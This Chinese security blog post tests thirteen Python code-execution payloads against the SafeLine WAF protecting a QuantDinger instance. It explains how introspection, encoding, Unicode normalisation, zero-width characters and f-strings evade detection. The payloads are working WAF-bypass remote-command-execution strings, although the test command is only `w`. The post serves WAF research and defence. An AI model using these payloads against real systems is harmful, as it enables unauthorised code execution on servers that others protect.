浅尝Python代码执行绕过WAF的艺术
本文根据Python代码的特性尝试绕过WAF防护
0x01 前言
书接上文,笔者曾通过一些方法绕过正则表达式与抽象语法树(AST)的拦截组合,之后项目作者也是非常迅速地在main版本做出了修改,这里笔者就不在找原项目作者的茬继续深究了。但是笔者根据当时的绕过手法苦思冥想:这些绕过的思路是否能直接对抗主流 WAF?秉持着实战检验真理的态度,便有了这篇文章。
0x02 准备
- WAF:雷池 (SafeLine) WAF 个人版 Version 9.3.3(最新)
- 靶机:QuantDinger V2.2.2 Docker 版本
- 测试指令:为了降低命令本身的攻击特征(如
cat /etc/passwd)对WAF的影响,统一使用 Linux 最简单的w命令进行测试。
0x03 绕过实战与原理分析
早期尝试:
Payload 1
先尝试最简单的os.system,不出意外被雷池拦截,经过测试是检测到了system(,所以被拦截。
{"code": "import os; os.system(\"w\"); output = {\"plots\": [], \"signals\": []}"}Payload 2
利用字符串拼接的方法绕过关键字system(的检测,此payload在普通部署的平衡防护下不会被拦截,但是会被雷池检测到eval并且在后台记录为XSS,开启了高强度防护下还是会被拦截了。
{"code": "e=eval; p='__im'+'port__'; o='o'+'s'; s='sys'+'tem'; e(p+'(\"'+o+'\").'+s+'(\"w\")'); output = {\"plots\": [], \"signals\": []}"}Payload 3
这个payload是和payload2一样的拦截情况,经过测试应该是智能语义检测到两个[][]之间存在eval,所以被拦截。
{"code": "g=getattr; gn='__glob'+'als__'; bn='__buil'+'tins__'; e=g(lambda:0,gn)[bn]['ev'+'al']; e('__im'+'port__(\"os\").system(\"w\")'); output = {\"plots\": [], \"signals\": []}"}成功案例:
从 Payload 4 之后,通过多种维度打断了雷池的检测逻辑,让雷池连后台记录都没有。过程如下:
Payload 4:动态属性溯源
{"code": "g=getattr; gb='__glob'+'als__'; bi='__buil'+'tins__'; im='__im'+'port__'; b=g(lambda:0,gb)[bi]; i=b[im] if isinstance(b,dict) else g(b,im); i('o'+'s').system('w'); output={'plots':[],'signals':[]}"}- 解析:
- 机制:在 Python 中,每个函数对象(包括
lambda)都持有一个__globals__属性,指向其定义时的全局命名空间。 - 绕过核心:WAF 通常通过正则匹配
import os或__builtins__等高危字眼。此 Payload 利用lambda:0作为锚点,通过对象自省链条__globals__ -> __builtins__隐式获取__import__函数。
Payload 5:环境对象依赖
{"code": "g=getattr; bk='__buil'+'tins__'; b=g(pd,bk); ik='__im'+'port__'; i=b[ik] if isinstance(b,dict) else g(b,ik); sk='sys'+'tem'; ok='o'+'s'; g(i(ok),sk)('w'); output={'plots':[],'signals':[]}"}- 解析:
- 机制:利用目标环境中已加载的合法第三方库(如
pd代表pandas)作为切入点。 - 绕过核心:很多 WAF 会针对业务常用库(Pandas, NumPy, Flask 等)设置白名单或降低审计权重。此 Payload 通过
getattr(pd, '__builtins__')隐式获取内建函数空间,避开了直接调用__builtins__的敏感指纹。
Payload 6:标准编码混淆
{"code": "import base64; exec(base64.b64decode('aW1wb3J0IG9zO29zLnN5c3RlbSgndycp').decode()); output = {"plots": [], "signals": []}"}- 解析:
- 机制:通过
base64.b64decode将攻击载荷以字节流形式传入。 - 绕过核心:这是最经典的绕过方式,将
import os;os.system('w')编码为aW1wb3J0IG9z...。(奇怪的是雷池这都不拦截!)
Payload 7:字符级动态构造
{"code": "import os;getattr(os, ''.join([chr(115),chr(121),chr(115),chr(116),chr(101),chr(109)]))(chr(119));output={'plots':[],'signals':[]}"}- 解析:
- 机制:利用内置函数
chr()将整型数值转换为对应的 ASCII 字符,再通过join()方法重组。 - 绕过核心:WAF 的核心规则库通常包含敏感函数名词(如
system,popen)的字符串指纹。
Payload 8:十六进制转义与字典访问
{"code": "i=__import__('\\x6f\\x73');vars(i)['\\x73\\x79\\x73\\x74\\x65\\x6d']('\\x77');output={'plots':[],'signals':[]}"}- 解析:
- 机制:利用
\x十六进制转义字符构造模块名,并利用vars()获取对象的__dict__。 - 绕过核心:
vars(i)['system']这种写法将“属性访问”转化为了“字典索引”。WAF 通常会匹配os.system这种点号(.)连接的特征,而这种索引写法完全破坏了正则的连续性。
Payload 9:进阶反射调用
{"code": "import importlib as i;m=i.import_module('\\x6f\\x73');m.__getattribute__('\\x73\\x79\\x73\\x74\\x65\\x6d')('\\x77');output={'plots':[],'signals':[]}"}- 解析:
- 机制:使用
importlib代替传统的import关键字,并使用__getattribute__获取方法引用。 - 绕过核心:
__getattribute__是 Python 对象模型中最底层的属性访问方法。与getattr不同,它更少出现在常规 Payload 中,且配合十六进制编码,指纹特征极低。
Payload 10:Unicode 等价性 (NFKC)
{"code": "𝒆𝒙𝒆𝒄("import os;os.𝒔𝒚𝒔𝒕𝒆𝒎('w')"); output={'plots':[],'signals':[]}"}- 解析:
- 机制:Python 3 的解释器在解析源代码标识符时,会根据 PEP 3131 规范对非 ASCII 字符进行 NFKC(兼容性组合)正规化。
- 绕过核心:此Payload 利用斜体字符,如
𝒆𝒙𝒆𝒄,𝒔𝒚𝒔𝒕𝒆𝒎(本质上是一种特殊的unicode编码)。这些字符在视觉和字节编码上与标准 ASCII 完全不同,能够轻易绕过基于[a-z]的正则过滤。 - 参考:https://xz.aliyun.com/news/91607
Payload 11:零宽字符干扰
{"code": "import builtins; import os; c = 'o\\u200bs.s\\u200by\\u200bs\\u200btem("w")'.replace('\\u200b', ''); getattr(builtins, 'ev'+'al')(c); output = {'plots': [], 'signals': []}"}- 解析:
- 机制:在关键函数名中间插入零宽空格(
\u200b)。 - 绕过核心:正则引擎是基于连续字符序列进行匹配的。插入
\u200b后,字符串os.system在正则看来变成了os.[Invisible]system,导致指纹匹配失败。 - 参考:https://mp.weixin.qq.com/s/zLrFyHMHPNPANNmreqHebQ
Payload 12:F-string 逻辑拆分
{"code": "c=f\"{'s'}{'y'}{'s'}{'t'}{'e'}{'m'}\"; getattr(__import__('os'), c)('w'); output = {'plots': [], 'signals': []}"}- 解析:
- 机制:利用 Python 3.6+ 的 F-string 特性,在大括号
{}中执行代码并返回字符串。 - 绕过核心:
f"{'s'}{'y'}{'s'}{'t'}{'e'}{'m'}"在静态检测时只是六个独立的字符。只有在 Python 解释器运行该行代码时,它们才会在内存中合并为system。
Payload 13:Latin-1 字节流逃逸
{"code": "b=__builtins__; k=bytes([101, 120, 101, 99]).decode('latin-1'); b[k](bytes([105,109,112,111,114,116,32,111,115,59,111,115,46,115,121,115,116,101,109,40,39,119,39,41]).decode('latin-1')); output = {'plots': [], 'signals': []}"}- 解析:
- 机制:Latin-1(ISO-8859-1)编码对 0-255 的字节具有 1:1 的映射特性。配合
bytes列表,可以将整个攻击逻辑下压至二进制数据层。 - 绕过核心:通过
__builtins__(在沙箱环境中常被表现为字典)直接索引函数引用,避开了.属性访问符。
0x04 其他WAF厂商对比
以下是付费WAF厂商的测试结果,但笔者不做评论。
0x05 总结
- 以上的payload组合笔者基本没有使用组合拳,如果使用了组合拳效果会不会更好呢,这个问题留给各位读者。
- 说实话应用场景比较有限,仅限于Python后端开发。
- 通过与雷池的实战对抗可以发现,传统的正则匹配和基础语义分析在面对Unicode 正规化、字节流转换以及动态反射构造等仍存在显著盲区。
- 对于WAF研发而言,需要深入理解语言解释器的底层处理特性。
0x06 参考链接
https://exotictext.com/zh-cn/italic/
https://xz.aliyun.com/news/91607
https://docs.python.org/3/howto/unicode.html
https://mp.weixin.qq.com/s/zLrFyHMHPNPANNmreqHebQ
0x07 免责声明
本篇文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与作者无关,请谨记守法。
本文详述13种绕过雷池WAF检测的Python命令执行技巧,涵盖Unicode正规化、零宽字符、动态反射等高级绕过方法。
由 AI 根据全文自动生成,仅供参考,以原文为准